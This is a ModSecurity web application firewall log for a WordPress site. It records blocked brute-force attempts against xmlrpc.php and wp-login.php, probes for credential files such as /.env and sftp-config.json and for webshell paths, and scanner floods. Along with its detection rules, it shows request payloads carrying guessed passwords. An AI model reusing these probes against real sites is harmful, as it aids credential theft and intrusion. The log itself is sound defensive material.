[Sun Mar 01 01:24:22.133796 2026] [:error] [pid 53600:tid 53622] [client 177.158.127.152:54366] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMkxg2UMRAYWtDB23TZ5wAAARM"]
[Sun Mar 01 01:24:22.135360 2026] [:error] [pid 53600:tid 53622] [client 177.158.127.152:54366] [client 177.158.127.152] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMkxg2UMRAYWtDB23TZ5wAAARM"]
[Sun Mar 01 01:24:22.136689 2026] [:error] [pid 53600:tid 53622] [client 177.158.127.152:54366] [client 177.158.127.152] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMkxg2UMRAYWtDB23TZ5wAAARM"]
[Sun Mar 01 01:25:17.012489 2026] [:error] [pid 7644:tid 7646] [client 177.158.127.152:54987] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMk_fqeDUGmVAHX7VCZggAAAUA"]
[Sun Mar 01 01:26:20.280244 2026] [:error] [pid 31190:tid 31214] [client 177.158.127.152:55693] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMlPBfvwGOholYpM1F0wgAAAMg"]
[Sun Mar 01 01:26:20.282518 2026] [:error] [pid 31190:tid 31214] [client 177.158.127.152:55693] [client 177.158.127.152] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMlPBfvwGOholYpM1F0wgAAAMg"]
[Sun Mar 01 01:26:20.284675 2026] [:error] [pid 31190:tid 31214] [client 177.158.127.152:55693] [client 177.158.127.152] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||gigfragments.org|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMlPBfvwGOholYpM1F0wgAAAMg"]
[Sun Mar 01 01:27:28.797567 2026] [:error] [pid 11920:tid 11934] [client 177.158.127.152:56487] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMlgCzLNJUKxvBorrCjLAAAAYo"]
[Sun Mar 01 01:27:28.800938 2026] [:error] [pid 11920:tid 11934] [client 177.158.127.152:56487] [client 177.158.127.152] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1gigfragments.orggigfragments_%wppass_d%title0xdadf68bddescription0xdadf68bdmt_keywords0xdadf68bdmt_excerpt0xdadf68bd1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMlgCzLNJUKxvBorrCjLAAAAYo"]
[Sun Mar 01 01:28:39.580879 2026] [:error] [pid 31190:tid 31226] [client 177.158.127.152:57466] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMlxxfvwGOholYpM1F1xAAAANQ"]
[Sun Mar 01 01:29:42.645972 2026] [:error] [pid 30798:tid 30922] [client 177.158.127.152:58411] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMmBsBkD73gO8wTonZt5gAAAJY"]
[Sun Mar 01 01:29:42.649100 2026] [:error] [pid 30798:tid 30922] [client 177.158.127.152:58411] [client 177.158.127.152] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1gigfragments.orggigfragments.org%title0x07c96105description0x07c96105mt_keywords0x07c96105mt_excerpt0x07c961051"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMmBsBkD73gO8wTonZt5gAAAJY"]
[Sun Mar 01 01:30:31.201723 2026] [:error] [pid 53600:tid 53612] [client 177.158.127.152:59098] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMmNw2UMRAYWtDB23Tc7gAAAQk"]
[Sun Mar 01 01:31:38.431559 2026] [:error] [pid 30797:tid 30885] [client 177.158.127.152:60132] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMmevQmcmSQL-3rvLAGwAAAAE4"]
[Sun Mar 01 01:32:45.436878 2026] [:error] [pid 7644:tid 7651] [client 177.158.127.152:61156] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMmvfqeDUGmVAHX7VCb3QAAAUU"]
[Sun Mar 01 01:33:37.798107 2026] [:error] [pid 53600:tid 53604] [client 177.158.127.152:61956] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMm8Q2UMRAYWtDB23Te_gAAAQE"]
[Sun Mar 01 01:33:37.801319 2026] [:error] [pid 53600:tid 53604] [client 177.158.127.152:61956] [client 177.158.127.152] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1gigfragments.orggigfragments1%wppass_d%title0xafe264eadescription0xafe264eamt_keywords0xafe264eamt_excerpt0xafe264ea1"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMm8Q2UMRAYWtDB23Te_gAAAQE"]
[Sun Mar 01 01:34:47.493883 2026] [:error] [pid 7644:tid 7653] [client 177.158.127.152:62638] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMnN_qeDUGmVAHX7VCc1gAAAUc"]
[Sun Mar 01 01:35:51.121156 2026] [:error] [pid 31190:tid 31207] [client 177.158.127.152:63199] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMndxfvwGOholYpM1F8ZwAAAME"]
[Sun Mar 01 01:35:51.124122 2026] [:error] [pid 31190:tid 31207] [client 177.158.127.152:63199] [client 177.158.127.152] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at XML. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "73"] [id "210380"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||gigfragments.org|F|4"] [data "XML=metaWeblog.newPost1gigfragments.orggigfragments*%wppass_d%title0x7c89b1a6description0x7c89b1a6mt_keywords0x7c89b1a6mt_excerpt0x7c89b1a61"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMndxfvwGOholYpM1F8ZwAAAME"]
[Sun Mar 01 01:36:44.535973 2026] [:error] [pid 53600:tid 53611] [client 177.158.127.152:63572] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMnrA2UMRAYWtDB23TgiwAAAQg"]
[Sun Mar 01 01:37:49.860136 2026] [:error] [pid 31190:tid 31211] [client 177.158.127.152:64247] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMn7RfvwGOholYpM1F-vgAAAMU"]
[Sun Mar 01 01:38:37.425647 2026] [:error] [pid 31190:tid 31223] [client 37.77.150.123:54764] [client 37.77.150.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.77.150.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaMoHRfvwGOholYpM1F_kwAAANE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 01:38:43.787188 2026] [:error] [pid 53600:tid 53618] [client 37.77.150.123:56873] [client 37.77.150.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.77.150.123, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaMoIw2UMRAYWtDB23ThkwAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 03:16:05.777007 2026] [:error] [pid 30798:tid 30914] [client 20.63.83.113:18719] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaM-9cBkD73gO8wTonbdKQAAAI8"]
[Sun Mar 01 03:16:06.189731 2026] [:error] [pid 31190:tid 31229] [client 20.63.83.113:33922] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaM-9hfvwGOholYpM1HGaAAAANc"]
[Sun Mar 01 03:16:06.601143 2026] [:error] [pid 30798:tid 30900] [client 20.63.83.113:60676] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaM-9sBkD73gO8wTonbdNgAAAIE"]
[Sun Mar 01 03:16:07.013109 2026] [:error] [pid 31190:tid 31213] [client 20.63.83.113:20257] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaM-9xfvwGOholYpM1HGbQAAAMc"]
[Sun Mar 01 03:27:05.387450 2026] [:error] [pid 11920:tid 11926] [client 185.193.89.16:36298] [client 185.193.89.16] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aaNBiSzLNJUKxvBorrBE4AAAAYI"]
[Sun Mar 01 04:16:45.994662 2026] [:error] [pid 54532:tid 54596] [client 43.140.247.223:43198] [client 43.140.247.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaNNLd95KNqVab1UT7d3twAAAFg"]
[Sun Mar 01 04:39:56.748305 2026] [:error] [pid 21263:tid 21286] [client 103.65.236.153:58946] [client 103.65.236.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aaNSnNAxjzLvN1upBhm_bgAAANM"]
[Sun Mar 01 04:39:57.003946 2026] [:error] [pid 21263:tid 21267] [client 103.65.236.153:58972] [client 103.65.236.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aaNSndAxjzLvN1upBhm_cQAAAMA"]
[Sun Mar 01 05:34:50.192621 2026] [:error] [pid 21263:tid 21273] [client 216.73.216.107:36039] [client 216.73.216.107] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||gigfragments.org|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aaNfetAxjzLvN1upBhnpsgAAAMY"]
[Sun Mar 01 05:54:21.243030 2026] [:error] [pid 21158:tid 21214] [client 20.53.243.118:8117] [client 20.53.243.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.53.243.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaNkDTriSIe3-pWnbPbqhAAAAFU"]
[Sun Mar 01 05:54:31.900455 2026] [:error] [pid 21158:tid 21215] [client 20.53.243.118:8117] [client 20.53.243.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaNkFzriSIe3-pWnbPbqlgAAAFY"]
[Sun Mar 01 05:54:31.995364 2026] [:error] [pid 24576:tid 24586] [client 20.53.243.118:7737] [client 20.53.243.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaNkF4vfb5CnctJh070YaAAAAQc"]
[Sun Mar 01 05:54:32.065322 2026] [:error] [pid 24576:tid 24582] [client 20.53.243.118:3338] [client 20.53.243.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaNkGIvfb5CnctJh070YagAAAQM"]
[Sun Mar 01 05:54:32.124338 2026] [:error] [pid 24576:tid 24580] [client 20.53.243.118:11041] [client 20.53.243.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaNkGIvfb5CnctJh070YbAAAAQE"]
[Sun Mar 01 06:17:09.739197 2026] [:error] [pid 24576:tid 24592] [client 43.157.174.69:45530] [client 43.157.174.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaNpZYvfb5CnctJh070q6wAAAQw"]
[Sun Mar 01 10:01:06.248159 2026] [:error] [pid 33229:tid 33235] [client 79.137.65.139:52808] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aaOd4nzT4c9ddlGE6FxEzAAAAYQ"]
[Sun Mar 01 10:01:16.851189 2026] [:error] [pid 33229:tid 33235] [client 79.137.65.139:39382] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aaOd7HzT4c9ddlGE6FxE1wAAAYQ"]
[Sun Mar 01 10:01:23.605413 2026] [:error] [pid 33229:tid 33235] [client 79.137.65.139:55242] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aaOd83zT4c9ddlGE6FxE3wAAAYQ"]
[Sun Mar 01 10:01:27.381810 2026] [:error] [pid 21263:tid 21283] [client 79.137.65.139:55250] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aaOd99AxjzLvN1upBhkI2AAAANA"]
[Sun Mar 01 10:01:31.756727 2026] [:error] [pid 21156:tid 21173] [client 79.137.65.139:44734] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aaOd-6saG_9IkG8N2p0BRgAAAAc"]
[Sun Mar 01 10:01:36.005311 2026] [:error] [pid 21263:tid 21283] [client 79.137.65.139:44744] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aaOeANAxjzLvN1upBhkI_AAAANA"]
[Sun Mar 01 10:01:38.376924 2026] [:error] [pid 21159:tid 21225] [client 79.137.65.139:54066] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aaOeAuLi3ouy1NZIkgo_sAAAAIQ"]
[Sun Mar 01 10:01:40.436973 2026] [:error] [pid 33539:tid 33570] [client 79.137.65.139:54068] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aaOeBNCsLwBYg4s018uquQAAAdg"]
[Sun Mar 01 10:01:42.223831 2026] [:error] [pid 21159:tid 21234] [client 79.137.65.139:54078] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aaOeBuLi3ouy1NZIkgo_uQAAAI0"]
[Sun Mar 01 10:01:45.279176 2026] [:error] [pid 33539:tid 33555] [client 79.137.65.139:54092] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aaOeCdCsLwBYg4s018uqvgAAAco"]
[Sun Mar 01 10:01:51.889727 2026] [:error] [pid 33229:tid 33231] [client 79.137.65.139:54102] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aaOeD3zT4c9ddlGE6FxFDAAAAYA"]
[Sun Mar 01 10:01:57.906096 2026] [:error] [pid 21263:tid 21272] [client 79.137.65.139:41198] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aaOeFdAxjzLvN1upBhkJMQAAAMU"]
[Sun Mar 01 10:02:40.836106 2026] [:error] [pid 21263:tid 21273] [client 79.137.65.139:40806] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aaOeQNAxjzLvN1upBhkJUAAAAMY"]
[Sun Mar 01 10:02:44.125179 2026] [:error] [pid 24576:tid 24597] [client 79.137.65.139:40808] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aaOeRIvfb5CnctJh0700AgAAARE"]
[Sun Mar 01 10:02:47.574264 2026] [:error] [pid 24576:tid 24597] [client 79.137.65.139:40818] [client 79.137.65.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aaOeR4vfb5CnctJh0700CgAAARE"]
